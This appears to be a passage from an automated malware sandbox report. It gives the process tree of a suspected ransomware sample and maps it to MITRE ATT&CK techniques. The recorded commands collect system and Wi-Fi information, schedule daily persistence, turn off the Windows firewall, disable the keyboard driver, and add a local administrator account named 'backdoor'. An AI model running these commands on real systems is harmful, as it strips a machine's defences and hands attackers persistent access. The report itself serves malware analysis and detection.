- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:1764
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:376
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4204
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4860
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:964
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:1076
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5116
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4060
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3216
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3704
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:212
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1956
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4108
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:4668
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:3960
- C:\Windows\system32\svchost.exe
  "C:\Windows\system32\svchost.exe"
  2⤵
  PID:980
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:3236
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:4324
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4804
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup administrators backdoor /add
    3⤵
    PID:5112

C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
1⤵
PID:5108

C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
C:\Users\Admin\AppData\Local\Temp\socolivebz.net_nano.exe
1⤵
PID:4556

C:\Windows\system32\BackgroundTaskHost.exe
"C:\Windows\system32\BackgroundTaskHost.exe" -ServerName:BackgroundTaskHost.WebAccountProvider
1⤵
PID:1696

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Account Manipulation

T1098

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Debugger Evasion

T1622

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Debugger Evasion

T1622

Permission Groups Discovery

T1069

Local Groups

T1069.001

Process Discovery

T1057

Query Registry

T1012

System Information Discovery